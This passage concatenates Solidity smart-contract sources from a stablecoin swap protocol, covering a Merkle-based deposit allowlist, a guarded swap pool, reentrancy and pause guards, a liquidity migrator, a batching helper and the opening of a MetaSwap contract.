NewMerkleRoot(bytes32 merkleRoot); /** * @notice Creates this contract and sets the PoolCap of 0x0 with uint256(0x54dd1e) for * crude checking whether an address holds this contract. * @param merkleRoot_ bytes32 that represent a merkle root node. This is generated off chain with the list of * qualifying addresses. */ constructor(bytes32 merkleRoot_) public { merkleRoot = merkleRoot_; // This value will be used as a way of crude checking whether an address holds this Allowlist contract // Value 0x54dd1e has no inherent meaning other than it is arbitrary value that checks for // user error. poolCaps[address(0x0)] = uint256(0x54dd1e); emit PoolCap(address(0x0), uint256(0x54dd1e)); emit NewMerkleRoot(merkleRoot_); } /** * @notice Returns the max mintable amount of the lp token per account in given pool address. * @param poolAddress address of the pool * @return max mintable amount of the lp token per account */ function getPoolAccountLimit(address poolAddress) external view override returns (uint256) { return accountLimits[poolAddress]; } /** * @notice Returns the maximum total supply of the pool token for the given pool address. * @param poolAddress address of the pool */ function getPoolCap(address poolAddress) external view override returns (uint256) { return poolCaps[poolAddress]; } /** * @notice Returns true if the given account's existence has been verified against any of the past or * the present merkle tree. Note that if it has been verified in the past, this function will return true * even if the current merkle tree does not contain the account. * @param account the address to check if it has been verified * @return a boolean value representing whether the account has been verified in the past or the present merkle tree */ function isAccountVerified(address account) external view returns (bool) { return verified[account]; } /** * @notice Checks the existence of keccak256(account) as a node in the merkle tree inferred by the merkle root node * stored in this contract. Pools should use this function to check if the given address qualifies for depositing. * If the given account has already been verified with the correct merkleProof, this function will return true when * merkleProof is empty. The verified status will be overwritten if the previously verified user calls this function * with an incorrect merkleProof. * @param account address to confirm its existence in the merkle tree * @param merkleProof data that is used to prove the existence of given parameters. This is generated * during the creation of the merkle tree. Users should retrieve this data off-chain. * @return a boolean value that corresponds to whether the address with the proof has been verified in the past * or if they exist in the current merkle tree. */ function verifyAddress(address account, bytes32[] calldata merkleProof) external override returns (bool) { if (merkleProof.length != 0) { // Verify the account exists in the merkle tree via the MerkleProof library bytes32 node = keccak256(abi.encodePacked(account)); if (MerkleProof.verify(merkleProof, merkleRoot, node)) { verified[account] = true; return true; } } return verified[account]; } // ADMIN FUNCTIONS /** * @notice Sets the account limit of allowed deposit amounts for the given pool * @param poolAddress address of the pool * @param accountLimit the max number of the pool token a single user can mint */ function setPoolAccountLimit(address poolAddress, uint256 accountLimit) external onlyOwner { require(poolAddress != address(0x0), "0x0 is not a pool address"); accountLimits[poolAddress] = accountLimit; emit PoolAccountLimit(poolAddress, accountLimit); } /** * @notice Sets the max total supply of LPToken for the given pool address * @param poolAddress address of the pool * @param poolCap the max total supply of the pool token */ function setPoolCap(address poolAddress, uint256 poolCap) external onlyOwner { require(poolAddress != address(0x0), "0x0 is not a pool address"); poolCaps[poolAddress] = poolCap; emit PoolCap(poolAddress, poolCap); } /** * @notice Updates the merkle root that is stored in this contract. This can only be called by * the owner. If more addresses are added to the list, a new merkle tree and a merkle root node should be generated, * and merkleRoot should be updated accordingly. * @param merkleRoot_ a new merkle root node that contains a list of deposit allowed addresses */ function updateMerkleRoot(bytes32 merkleRoot_) external onlyOwner { merkleRoot = merkleRoot_; emit NewMerkleRoot(merkleRoot_); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./OwnerPausable.sol"; import "./SwapUtilsGuarded.sol"; import "../MathUtils.sol"; import "./Allowlist.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapGuarded is OwnerPausable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using SwapUtilsGuarded for SwapUtilsGuarded.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtilsGuarded.sol SwapUtilsGuarded.Swap public swapStorage; // Address to allowlist contract that holds information about maximum totaly supply of lp tokens // and maximum mintable amount per user address. As this is immutable, this will become a constant // after initialization. IAllowlist private immutable allowlist; // Boolean value that notates whether this pool is guarded or not. When isGuarded is true, // addLiquidity function will be restricted by limits defined in allowlist contract. bool private guarded = true; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Deploys this Swap contract with given parameters as default * values. This will also deploy a LPToken that represents users * LP position. The owner of LPToken will be this contract - which means * only this contract is allowed to mint new tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param _allowlist address of allowlist contract for guarded launch */ constructor( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, IAllowlist _allowlist ) public OwnerPausable() ReentrancyGuard() { // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtilsGuarded.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtilsGuarded.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee, _allowlist parameters require(_a < SwapUtilsGuarded.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtilsGuarded.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtilsGuarded.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); require( _withdrawFee < SwapUtilsGuarded.MAX_WITHDRAW_FEE, "_withdrawFee exceeds maximum" ); require( _allowlist.getPoolCap(address(0x0)) == uint256(0x54dd1e), "Allowlist check failed" ); // Initialize swapStorage struct swapStorage.lpToken = new LPTokenGuarded( lpTokenName, lpTokenSymbol, SwapUtilsGuarded.POOL_PRECISION_DECIMALS ); swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(SwapUtilsGuarded.A_PRECISION); swapStorage.futureA = _a.mul(SwapUtilsGuarded.A_PRECISION); swapStorage.initialATime = 0; swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; swapStorage.defaultWithdrawFee = _withdrawFee; // Initialize variables related to guarding the initial deposits allowlist = _allowlist; guarded = true; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) external view returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Reads and returns the address of the allowlist that is set during deployment of this contract * @return the address of the allowlist contract casted to the IAllowlist interface */ function getAllowlist() external view returns (IAllowlist) { return allowlist; } /** * @notice Return timestamp of last deposit of given address * @return timestamp of the last deposit made by the given address */ function getDepositTimestamp(address user) external view returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param account address that is depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { return swapStorage.calculateTokenAmount(account, amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param account the address that is withdrawing tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(address account, uint256 amount) external view returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(account, amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param account the address that is withdrawing tokens * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount) { (availableTokenAmount, ) = swapStorage.calculateWithdrawOneToken( account, tokenAmount, tokenIndex ); } /** * @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee * decays linearly over period of 4 weeks. For example, depositing and withdrawing right away * will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you * no additional fees. * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with given amounts during guarded launch phase. Only users * with valid address and proof can successfully call this function. When this function is called * after the guarded release phase is over, the merkleProof is ignored. * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @param merkleProof data generated when constructing the allowlist merkle tree. Users can * get this data off chain. Even if the address is in the allowlist, users must include * a valid proof for this call to succeed. If the pool is no longer in the guarded release phase, * this parameter is ignored. * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline, bytes32[] calldata merkleProof ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint, merkleProof); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the user withdraw fee. This function can only be called by * the pool token. Should be used to update the withdraw fee on transfer of pool tokens. * Transferring your pool token will reset the 4 weeks period. If the recipient is already * holding some pool tokens, the withdraw fee will be discounted in respective amounts. * @param recipient address of the recipient of pool token * @param transferAmount amount of pool token to transfer */ function updateUserWithdrawFee(address recipient, uint256 transferAmount) external { require( msg.sender == address(swapStorage.lpToken), "Only callable by pool token" ); swapStorage.updateUserWithdrawFee(recipient, transferAmount); } /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Update the withdraw fee. This fee decays linearly over 4 weeks since * user's last deposit. * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } /** * @notice Disables the guarded launch phase, removing any limits on deposit amounts and addresses */ function disableGuard() external onlyOwner { guarded = false; } /** * @notice Reads and returns current guarded status of the pool * @return guarded_ boolean value indicating whether the deposits should be guarded */ function isGuarded() external view returns (bool) { return guarded; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ contract OwnerPausable is Ownable, Pausable { /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner { Pausable._pause(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner { Pausable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Generic ERC20 token * @notice This contract simulates a generic ERC20 token that is mintable and burnable. */ contract GenericERC20 is ERC20, Ownable { /** * @notice Deploy this contract with given name, symbol, and decimals * @dev the caller of this constructor will become the owner of this contract * @param name_ name of this token * @param symbol_ symbol of this token * @param decimals_ number of decimals this token will be based on */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) public ERC20(name_, symbol_) { _setupDecimals(decimals_); } /** * @notice Mints given amount of tokens to recipient * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "amount == 0"); _mint(recipient, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./interfaces/ISwap.sol"; import "./helper/BaseBoringBatchable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title GeneralizedSwapMigrator * @notice This contract is responsible for migration liquidity between pools * Users can use this contract to remove their liquidity from the old pools and add them to the new * ones with a single transaction. */ contract GeneralizedSwapMigrator is Ownable, BaseBoringBatchable { using SafeERC20 for IERC20; struct MigrationData { address newPoolAddress; IERC20 oldPoolLPTokenAddress; IERC20 newPoolLPTokenAddress; IERC20[] tokens; } uint256 private constant MAX_UINT256 = 2**256 - 1; mapping(address => MigrationData) public migrationMap; event AddMigrationData(address indexed oldPoolAddress, MigrationData mData); event Migrate( address indexed migrator, address indexed oldPoolAddress, uint256 oldLPTokenAmount, uint256 newLPTokenAmount ); constructor() public Ownable() {} /** * @notice Add new migration data to the contract * @param oldPoolAddress pool address to migrate from * @param mData MigrationData struct that contains information of the old and new pools * @param overwrite should overwrite existing migration data */ function addMigrationData( address oldPoolAddress, MigrationData memory mData, bool overwrite ) external onlyOwner { // Check if (!overwrite) { require( address(migrationMap[oldPoolAddress].oldPoolLPTokenAddress) == address(0), "cannot overwrite existing migration data" ); } require( address(mData.oldPoolLPTokenAddress) != address(0), "oldPoolLPTokenAddress == 0" ); require( address(mData.newPoolLPTokenAddress) != address(0), "newPoolLPTokenAddress == 0" ); for (uint8 i = 0; i < 32; i++) { address oldPoolToken; try ISwap(oldPoolAddress).getToken(i) returns (IERC20 token) { oldPoolToken = address(token); } catch { require(i > 0, "Failed to get tokens underlying Saddle pool."); oldPoolToken = address(0); } try ISwap(mData.newPoolAddress).getToken(i) returns (IERC20 token) { require( oldPoolToken == address(token) && oldPoolToken == address(mData.tokens[i]), "Failed to match tokens list" ); } catch { require(i > 0, "Failed to get tokens underlying Saddle pool."); require( oldPoolToken == address(0) && i == mData.tokens.length, "Failed to match tokens list" ); break; } } // Effect migrationMap[oldPoolAddress] = mData; // Interaction // Approve old LP Token to be used for withdraws. mData.oldPoolLPTokenAddress.approve(oldPoolAddress, MAX_UINT256); // Approve underlying tokens to be used for deposits. for (uint256 i = 0; i < mData.tokens.length; i++) { mData.tokens[i].safeApprove(mData.newPoolAddress, 0); mData.tokens[i].safeApprove(mData.newPoolAddress, MAX_UINT256); } emit AddMigrationData(oldPoolAddress, mData); } /** * @notice Migrates saddle LP tokens from a pool to another * @param oldPoolAddress pool address to migrate from * @param amount amount of LP tokens to migrate * @param minAmount of new LP tokens to receive */ function migrate( address oldPoolAddress, uint256 amount, uint256 minAmount ) external returns (uint256) { // Check MigrationData memory mData = migrationMap[oldPoolAddress]; require( address(mData.oldPoolLPTokenAddress) != address(0), "migration is not available" ); // Interactions // Transfer old LP token from the caller mData.oldPoolLPTokenAddress.safeTransferFrom( msg.sender, address(this), amount ); // Remove liquidity from the old pool uint256[] memory amounts = ISwap(oldPoolAddress).removeLiquidity( amount, new uint256[](mData.tokens.length), MAX_UINT256 ); // Add acquired liquidity to the new pool uint256 mintedAmount = ISwap(mData.newPoolAddress).addLiquidity( amounts, minAmount, MAX_UINT256 ); // Transfer new LP Token to the caller mData.newPoolLPTokenAddress.safeTransfer(msg.sender, mintedAmount); emit Migrate(msg.sender, oldPoolAddress, amount, mintedAmount); return mintedAmount; } /** * @notice Rescues any token that may be sent to this contract accidentally. * @param token Amount of old LPToken to migrate * @param to Minimum amount of new LPToken to receive */ function rescue(IERC20 token, address to) external onlyOwner { token.safeTransfer(to, token.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls // solhint-disable no-inline-assembly // Audit on 5-Jan-2021 by Keno and BoringCrypto // WARNING!!! // Combining BoringBatchable with msg.value can cause double spending issues // https://www.paradigm.xyz/2021/08/two-rights-might-make-a-wrong/ contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall( calls[i] ); if (!success && revertOnFail) { revert(_getRevertMsg(result)); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../Swap.sol"; import "./MetaSwapUtils.sol"; /** * @title MetaSwap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT], then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * Note that when interacting with MetaSwap, users cannot deposit or withdraw via underlying tokens. In that case, * `MetaSwapDeposit.sol` can be additionally deployed to allow interacting with unwrapped representations of the tokens. * * @dev Most of the logic is stored as a library `MetaSwapUtils` for the sake of reducing contract's * deployment size. */ contract MetaSwap is Swap { using MetaSwapUtils for SwapUtils.Swap; MetaSwapUtils.MetaSwap public metaSwapStorage; uint256 constant MAX_UINT256 = 2**256 - 1; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual override returns (uint256) { return 